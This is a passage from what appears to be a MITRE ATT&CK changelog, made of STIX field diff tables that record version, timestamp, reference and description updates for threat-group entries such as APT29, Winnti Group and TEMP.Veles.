| external_references[6]['description'] | Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020. | O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018. |
| external_references[6]['url'] | https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/ | https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 13:59:09.596000+00:00 | 2021-10-12 21:46:13.007000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 16:59:26.732000+00:00 | 2021-10-12 19:34:36.092000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-03 20:22:40.401000+00:00 | 2021-10-11 19:08:18.503000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-15 15:44:47.629000+00:00 | 2021-10-12 19:52:22.454000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-15 15:08:55.062000+00:00 | 2021-10-12 22:10:04.107000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:58:36.955000+00:00 | 2021-03-02 22:40:11.097000+00:00 |
| external_references[6]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:26:28.528000+00:00 | 2021-05-26 12:35:39.400000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:52:35.625000+00:00 | 2021-08-11 20:45:59.687000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 22:54:59.268000+00:00 | 2021-10-16 19:48:37.809000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniyal Naeem, BT Security'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:15:00.553000+00:00 | 2021-10-12 21:31:07.407000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-28 00:01:09.384000+00:00 | 2021-05-26 19:57:42.132000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Thijn Bukkems, Amazon'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-06 15:32:20.089000+00:00 | 2021-04-26 12:52:34.528000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.5
Version changed from: 1.4 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:06:47.872000+00:00 | 2021-10-12 21:57:25.847000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-20 20:54:12.685000+00:00 | 2021-10-12 23:21:06.480000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:56:50.005000+00:00 | 2021-10-12 23:23:16.109000+00:00 |
| x_mitre_version | 2.2 | 2.3 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 00:54:00.656000+00:00 | 2021-10-12 22:12:11.717000+00:00 |
| external_references[2]['url'] | https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf | https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 23:58:28.015000+00:00 | 2021-04-22 00:39:49.529000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 20:39:49.350000+00:00 | 2021-11-02 21:07:07.755000+00:00 |
| external_references[2]['description'] | Patchwork and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon) | [Patchwork](https://attack.mitre.org/groups/G0040) and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon) |
| external_references[6]['description'] | It is believed that the actors behind Patchwork are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013) | It is believed that the actors behind [Patchwork](https://attack.mitre.org/groups/G0040) are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013) |
| external_references[7]['url'] | https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf | https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PittyTiger](https://attack.mitre.org/groups/G0011) is a thr | t | 1 | [PittyTiger](https://attack.mitre.org/groups/G0011) is a thr |
| > | eat group believed to operate out of China that uses multipl | > | eat group believed to operate out of China that uses multipl | ||
| > | e different types of malware to maintain command and control | > | e different types of malware to maintain command and control | ||
| > | . (Citation: Bizeul 2014) (Citation: Villeneuve 2014) | > | .(Citation: Bizeul 2014)(Citation: Villeneuve 2014) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:14:16.259000+00:00 | 2021-10-12 23:11:41.368000+00:00 |
| description | [PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014) | [PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:20:55.380000+00:00 | 2020-11-23 18:57:19.208000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus | t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus |
| > | sia-based threat group that has targeted critical infrastruc | > | sia-based threat group that has targeted critical infrastruc | ||
| > | ture. The group has been observed utilizing TRITON, a malwar | > | ture. The group has been observed utilizing [TRITON](https:/ | ||
| > | e framework designed to manipulate industrial safety systems | > | /attack.mitre.org/software/S0609), a malware framework desig | ||
| > | .(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Vele | > | ned to manipulate industrial safety systems.(Citation: FireE | ||
| > | s 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | > | ye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: | ||
| > | FireEye TEMP.Veles JSON April 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://dragos.com/resource/xenotime/ |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-04 23:31:36.937000+00:00 | 2022-05-24 16:22:20.856000+00:00 |
| description | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) |
| external_references[2]['source_name'] | XENOTIME | Dragos Xenotime 2018 |
| external_references[2]['description'] | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) | Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019. |
| external_references[3]['source_name'] | FireEye TRITON 2019 | FireEye TEMP.Veles 2018 |
| external_references[3]['description'] | Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. | FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019. |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| external_references[4]['source_name'] | FireEye TEMP.Veles 2018 | FireEye TEMP.Veles 2018 |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| external_references[5]['source_name'] | FireEye TEMP.Veles JSON April 2019 | FireEye TRITON 2019 |
| external_references[5]['description'] | Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019. | Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. |
| external_references[5]['url'] | https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html | https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html |
| external_references[6]['source_name'] | Dragos Xenotime 2018 | FireEye TEMP.Veles JSON April 2019 |
| external_references[6]['description'] | Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019. | Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019. |
| external_references[6]['url'] | https://dragos.com/resource/xenotime/ | https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html |
| external_references[8]['source_name'] | FireEye TEMP.Veles 2018 | XENOTIME |
| external_references[8]['description'] | FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019. | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind [TRITON](https://attack.mitre.org/software/S0609) .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:25:56.012000+00:00 | 2021-10-12 20:13:42.274000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-29 03:23:27.843000+00:00 | 2021-04-26 14:15:15.610000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-27 21:56:24.890000+00:00 | 2021-10-12 21:43:24.133000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-26 13:46:14.122000+00:00 | 2021-04-26 14:37:33.234000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Winnti Group](https://attack.mitre.org/groups/G0044) is a t | t | 1 | [Winnti Group](https://attack.mitre.org/groups/G0044) is a t |
| > | hreat group with Chinese origins that has been active since | > | hreat group with Chinese origins that has been active since | ||
| > | at least 2010. The group has heavily targeted the gaming ind | > | at least 2010. The group has heavily targeted the gaming ind | ||
| > | ustry, but it has also expanded the scope of its targeting. | > | ustry, but it has also expanded the scope of its targeting.( | ||
| > | (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky | > | Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky W | ||
| > | Winnti June 2015) (Citation: Novetta Winnti April 2015) Som | > | innti June 2015)(Citation: Novetta Winnti April 2015) Some r | ||
| > | e reporting suggests a number of other groups, including [Ax | > | eporting suggests a number of other groups, including [Axiom | ||
| > | iom](https://attack.mitre.org/groups/G0001), [APT17](https:/ | > | ](https://attack.mitre.org/groups/G0001), [APT17](https://at | ||
| > | /attack.mitre.org/groups/G0025), and [Ke3chang](https://atta | > | tack.mitre.org/groups/G0025), and [Ke3chang](https://attack. | ||
| > | ck.mitre.org/groups/G0004), are closely linked to [Winnti Gr | > | mitre.org/groups/G0004), are closely linked to [Winnti Group | ||
| > | oup](https://attack.mitre.org/groups/G0044). (Citation: 401 | > | ](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG | ||
| > | TRG Winnti Umbrella May 2018) | > | Winnti Umbrella May 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-24 15:01:01.939000+00:00 | 2022-04-15 16:27:20.897000+00:00 |
| description | [Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018) | [Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG Winnti Umbrella May 2018) |
| external_references[3]['source_name'] | Kaspersky Winnti April 2013 | Symantec Suckfly March 2016 |
| external_references[3]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017. | DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. |
| external_references[3]['url'] | https://securelist.com/winnti-more-than-just-a-game/37029/ | http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates |
| external_references[4]['source_name'] | Kaspersky Winnti June 2015 | 401 TRG Winnti Umbrella May 2018 |
| external_references[4]['description'] | Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016. | Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018. |
| external_references[4]['url'] | https://securelist.com/games-are-over/70991/ | https://401trg.github.io/pages/burning-umbrella.html |
| external_references[5]['source_name'] | Novetta Winnti April 2015 | Kaspersky Winnti April 2013 |
| external_references[5]['description'] | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. | Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017. |
| external_references[5]['url'] | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf | https://securelist.com/winnti-more-than-just-a-game/37029/ |
| external_references[6]['source_name'] | 401 TRG Winnti Umbrella May 2018 | Novetta Winnti April 2015 |
| external_references[6]['description'] | Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018. | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. |
| external_references[6]['url'] | https://401trg.com/burning-umbrella/ | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf |
| external_references[7]['source_name'] | Symantec Suckfly March 2016 | Kaspersky Winnti June 2015 |
| external_references[7]['description'] | DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. | Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016. |
| external_references[7]['url'] | http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates | https://securelist.com/games-are-over/70991/ |
| x_mitre_version | 1.1 | 1.2 |
Current version: 3.0
Version changed from: 1.4 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT29](https://attack.mitre.org/groups/G0016) is threat gro | t | 1 | [APT29](https://attack.mitre.org/groups/G0016) is threat gro |
| > | up that has been attributed to the Russian government and ha | > | up that has been attributed to Russia's Foreign Intelligence | ||
| > | s operated since at least 2008. (Citation: F-Secure The Duke | > | Service (SVR).(Citation: White House Imposing Costs RU Gov | ||
| > | s) (Citation: GRIZZLY STEPPE JAR) This group reportedly comp | > | April 2021)(Citation: UK Gov Malign RIS Activity April 2021) | ||
| > | romised the Democratic National Committee starting in the su | > | They have operated since at least 2008, often targeting gov | ||
| > | mmer of 2015. (Citation: Crowdstrike DNC June 2016) | > | ernment networks in Europe and NATO member countries, resear | ||
| > | ch institutes, and think tanks. [APT29](https://attack.mitre | ||||
| > | .org/groups/G0016) reportedly compromised the Democratic Nat | ||||
| > | ional Committee starting in the summer of 2015.(Citation: F- | ||||
| > | Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Cr | ||||
| > | owdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia | ||||
| > | SolarWinds April 2021) In April 2021, the US and UK governm | ||||
| > | ents attributed the SolarWinds supply chain compromise cyber | ||||
| > | operation to the SVR; public statements included citations | ||||
| > | to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear | ||||
| > | , and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds | ||||
| > | April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) | ||||
| > | Victims of this campaign included government, consulting, t | ||||
| > | echnology, telecom, and other organizations in North America | ||||
| > | , Europe, Asia, and the Middle East. Industry reporting refe | ||||
| > | rred to the actors involved in this campaign as UNC2452, NOB | ||||
| > | ELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUN | ||||
| > | BURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2 | ||||
| > | 021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Cit | ||||
| > | ation: Volexity SolarWinds)(Citation: Cybersecurity Advisory | ||||
| > | SVR TTP May 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Daniyal Naeem, BT Security', 'Matt Brenton, Zurich Insurance Group', 'Katie Nickels, Red Canary'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf | |
| external_references | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | |
| external_references | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | |
| external_references | https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html | |
| external_references | https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf | |
| external_references | https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf | |
| external_references | https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 19:06:15.392000+00:00 | 2022-04-14 17:14:25.162000+00:00 |
| description | [APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016) | [APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021) In April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[1]['source_name'] | APT29 | CozyDuke |
